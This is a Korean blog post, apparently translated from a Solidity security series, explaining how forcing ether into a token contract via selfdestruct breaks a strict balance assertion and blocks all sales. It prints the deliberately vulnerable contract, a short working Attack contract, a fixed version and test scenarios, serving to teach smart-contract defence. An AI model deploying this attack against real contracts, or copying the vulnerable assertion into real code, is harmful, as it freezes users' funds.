Unexpected Ether With Forcibly Sending Ether


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

  • Solidity
  • Typescript
  • Truffle ,Hardhat, Ethers.js, Web3.js
  • Test Script 작성 능력

Smart Contract에서 발견할 수 있는 보안 취약점을 이용하여, 공격자가 특정 Smart Contract의 잔액을 부적절하게 변경하는 방법에 대해 설명합니다.

The Vulnerability

아래 코드는 “InsecureMoonToken” Contract를 보여줍니다.

MOON Token은 소수점이 0인 분할 불가능한 토큰입니다. 사용자는 1, 2, 3 또는 46개의 MOON Token을 구매, 판매 또는 전송할 수 있지만 33.5개의 MOON Token은 전송할 수 없습니다.

분할 할 수 없다는 특성 외에도 MOON Token은 ETH 가격에 고정된 스테이블 코인입니다. 1 MOON Token은 항상 1 ETH의 가치가 있습니다.

pragma solidity 0.8.17;

contract InsecureMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
  • “InsecureMoonToken” Contract에서 사용자는 Buy() 함수를 통해 해당 ETH 수에 해당하는 Moon Token을 구매할 수 있습니다.
  • 또한 사용자는 Sell() 함수를 통해 Moon Token을 판매하고, Transfer() 함수를 통해 Moon Token을 전송하고 getUserBalance() 함수를 통해 잔액을 확인하고 getEtherBalance() 함수를 통해 Contract에 잠긴 ETH의 총 개수를 얻을 수 있습니다.
  • 그러나 이 Contract는 35번째 줄에서 부적절한 잔액 “assertion” 문제가 있습니다.
  • sell() 함수는 assert(getEtherBalance() == totalSupply * TOKEN_PRICE); 문을 사용하여 “InsecureMoonToken” Contract의 ETH가 항상 Moon Token의 총 공급량과 같아야함을 엄격히 증명합니다. 이 assertion은 Contract가 가진 ETH의 수와 Moon Token의 총 공급량과 균형을 이루도록 보장하기 위해 사용합니다.
  • 그럼에도 불구하고 Sell() 함수처럼 Contract의 ETH 잔고에 의존하는 것은 공격에 노출되기 쉽습니다.
  • 공격자가 소량의 이더를 "InsecureMoonToken” Contract 전송할 경우 어떤일이 일어날까요?
    • 이때 Contract의 ETH 잔액이 더 이상 Moon Token의 총 공급량과 일치하지 않기 때문에 assert(getEtherBalance()….); 부분은 항상 거짓으로 평가되어 모든 Sell Transaction이 취소됩니다.
    • “InsecureMoonToken” Contract는 receive(), fallback() 를 구현하지 않았기 때문에 ETH를 받을 수 없습니다.

Solidity에서는 Contract Address의 bytecode를 제거하기 위해 selfdestruct()라는 특수 함수가 있습니다. (블록체인 네트워크에서 Contract를 제거하는 함수)

selfdestruct() 함수 두 가지 기능이 있습니다.

  • Contract bytecode 제거 기능
  • 제거된 Contract에 저장된 ETH를 지정된 Address로 강제 전송

selfdestruct() 함수는 “InsecureMoonToken” Contract에 receive(), fallback() 함수를 구현하지 않은 Contract도 ETH를 강제로 전송할 수 있도록 합니다.

The Attack

pragma solidity 0.8.17;

contract Attack {
    address immutable moonToken;

    constructor(address _moonToken) {
        moonToken = _moonToken;
    }

    function attack() external payable {
        require(msg.value != 0, "Require some Ether to attack");

        address payable target = payable(moonToken);
        selfdestruct(target);
    }
}
  1. “Attack” Contract를 배포하고 Constructor 인자값으로 “InsecureMoonToken” Contract Address를 지정합니다.
  2. 공격에 필요한 ETH를 공급하는 것과 함께 Attack.attack() 함수를 호출합니다.

공급된 ETH는 selfdestruct()함수를 통해 “InsecureMoonToken” Contract로 강제로 전송됩니다. 그러면 모든 sell() Transaction이 되돌려져 “InsecureMoonToken” Contract에 대한 denial-of-service(서비스 거부 공격)으로 이어집니다.

그림에서 볼 수 있듯이 2명의 사용자가 55 ETH로 55개의 Moon Token을 구매했습니다.

그러나 공격자가 1 wei를 강제로 “InsecureMoonToken” Contract로 전송한 후, 사용자들은 더 이상 Moon Token을 판매하지 못하게 되었습니다.

구매는 가능하지만 판매는 불가능한 Contract가 되었습니다.

The Solutions

pragma solidity 0.8.17;

contract FixedMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        // FIX: Do not rely on address(this).balance. If necessary, however, 
        // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
        assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
  • Smart Contract는 인위적으로 조작될 수 있으므로 Contract의 ETH Balance가 종속되지 않도록 해야합니다. 그러나 필요한 경우 Smart Contract는 이러한 Contract Balance 조작에 대비해야 합니다.
  • 부적절한 잔액 assertion 문제를 해결하기 위해서는 == 기호 대신 >=를 사용하여 “FixedMoonToken” Contract의 assertion 문제를 해결할 수 있습니다.

Test


Source code link

InsecureMoonToken Contract

테스트 시나리오

  • Constructor
    • 설정된 Token price를 확인할 수 있다
    • 설정된 name을 확인할 수 있다.
    • 설정된 symbol을 확인할 수 있다.
    • 설정된 decimals 값을 확인할 수 있다.
  • Buy
    • Token을 구매할 수 있다.
    • 사용자가 Token 구매 시 TotalSupply가 증가한다.
    • 사용자가 구매하려는 Token의 수량과 Ether의 수량이 일치하지 않으면 구매할 수 없다.
  • Sell
    • 사용자가 Token 판매 시 TotalSupply가 감소한다.
    • 사용자가 판매하려는 Token의 수량이 보유한 수량보다 많으면 판매할 수 없다.
  • Transfer
    • 사용자가 Token을 전송할 수 있다.
    • Token을 전송받는 사용자의 주소가 0이면 전송할 수 없다.
    • 전송하려는 Token의 수량이 보유한 수량보다 많으면 전송할 수 없다.

FixedMoonToken Contract

테스트 시나리오

  • Constructor
    • 설정된 Token price를 확인할 수 있다
    • 설정된 name을 확인할 수 있다.
    • 설정된 symbol을 확인할 수 있다.
    • 설정된 decimals 값을 확인할 수 있다
  • Buy
    • Token을 구매할 수 있다.
    • 사용자가 Token 구매 시 TotalSupply가 증가한다.
    • 사용자가 구매하려는 Token의 수량과 Ether의 수량이 일치하지 않으면 구매할 수 없다.
  • Sell
    • 사용자가 Token 판매 시 TokenSupply가 감소한다.
    • 사용자가 판매하려는 Token의 수량이 보유한 수량보다 많으면 판매할 수 없다.
  • Transfer
    • 사용자가 Token을 전송할 수 있다.
    • Token을 전송받는 사용자의 주소가 0이면 전송할 수 없다.
    • 전송하려는 Token의 수량이 보유한 수량보다 많으면 전송할 수 없다.

Attack Contract

테스트 시나리오

  • 사전 준비
    • 2명의 사용자가 InsecureMoonToken에 ETH를 공급할 수 있다.
  • Attack
    • 일정량의 ETH를 공급하지 않으면 공격을 할 수 없다.
    • 소수점의 이더를 InsecureMoonToken을 공급하여 판매기능을 고장낼 수 있다.
  • 수정된 MoonToken Contract
    • 2명의 사용자가 FixedMoonToken에 ETH를 공급할 수 있다.
    • 일정량의 ETH를 공급하지 않으면 공격을 할 수 없다.
    • 소수점의 이더를 FixedMoonToken을 공급하여 판매기능을 고장낼 수 없다.

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글